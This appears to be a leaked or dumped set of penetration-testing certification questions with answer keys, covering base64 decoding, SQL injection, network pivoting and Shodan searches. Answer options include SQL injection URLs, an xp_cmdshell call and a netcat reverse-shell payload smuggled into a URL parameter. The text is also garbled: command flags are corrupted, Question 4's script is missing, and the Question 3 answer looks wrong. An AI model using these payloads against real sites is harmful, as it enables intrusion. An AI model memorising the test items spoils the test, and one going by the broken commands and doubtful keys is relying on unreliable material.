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QUESTION 1

A penetration tester is conducting a penetration test. The tester obtains a root-level shell on a Linux server and
discovers the following data in a file named password.txt in the /home/svsacct directory: 

U3VQZXIkM2NyZXQhCg== 

Which of the following commands should the tester use NEXT to decode the contents of the file? 

A. echo U3VQZXIkM2NyZXQhCg== | base64 "d 

B. tar zxvf password.txt 

C. hydra "l svsacct "p U3VQZXIkM2NyZXQhCg== ssh://192.168.1.0/24 

D. john--wordlist /usr/share/seclists/rockyou.txt password.txt 

Correct Answer: A 

 

QUESTION 2

A penetration tester examines a web-based shopping catalog and discovers the following URL when viewing a product
in the catalog: 

http://company.com/catalog.asp?productid=22 

The penetration tester alters the URL in the browser to the following and notices a delay when the page refreshes: 

http://company.com/catalog.asp?productid=22;WAITFOR DELAY\\'00:00:05\\' 

Which of the following should the penetration tester attempt NEXT? 

A. http://company.com/catalog.asp?productid=22:EXEC xp_cmdshell \\'whoami\\' 

B. http://company.com/catalog.asp?productid=22\\' OR 1=1-

C. http://company.com/catalog.asp?productid=22\\' UNION SELECT 1,2,3-

D. http://company.com/catalog.asp?productid=22;nc 192.168.1.22 4444-e /bin/bash 

Correct Answer: C 

This URL will attempt a SQL injection attack using a UNION operator to combine the results of two queries into one
table. The attacker can use this technique to retrieve data from other tables in the database that are not normally
accessible through the web application. 

 

QUESTION 3

A penetration tester opened a shell on a laptop at a client\\'s office but is unable to pivot because of restrictive ACLs on
the wireless subnet. The tester is also aware that all laptop users have a hard-wired connection available at their desks.
Which of the following is the BEST method available to pivot and gain additional access to the network? 
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A. Set up a captive portal with embedded malicious code. 

B. Capture handshakes from wireless clients to crack. 

C. Span deauthentication packets to the wireless clients. 

D. Set up another access point and perform an evil twin attack. 

Correct Answer: C 

 

QUESTION 4

Given the following script: 

Which of the following BEST characterizes the function performed by lines 5 and 6? 

A. Retrieves the start-of-authority information for the zone on DNS server 10.10.10.10 

B. Performs a single DNS query for www.comptia.org and prints the raw data output 

C. Loops through variable b to count the results returned for the DNS query and prints that count to screen 

D. Prints each DNS query result already stored in variable b 

Correct Answer: D 

 

QUESTION 5

A large client wants a penetration tester to scan for devices within its network that are Internet facing. The client is
specifically looking for Cisco devices with no authentication requirements. Which of the following settings in Shodan
would meet the client\\'s requirements? 

A. "cisco-ios" "admin+1234" 

B. "cisco-ios" "no-password" 
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C. "cisco-ios" "default-passwords" 

D. "cisco-ios" "last-modified" 

Correct Answer: B 
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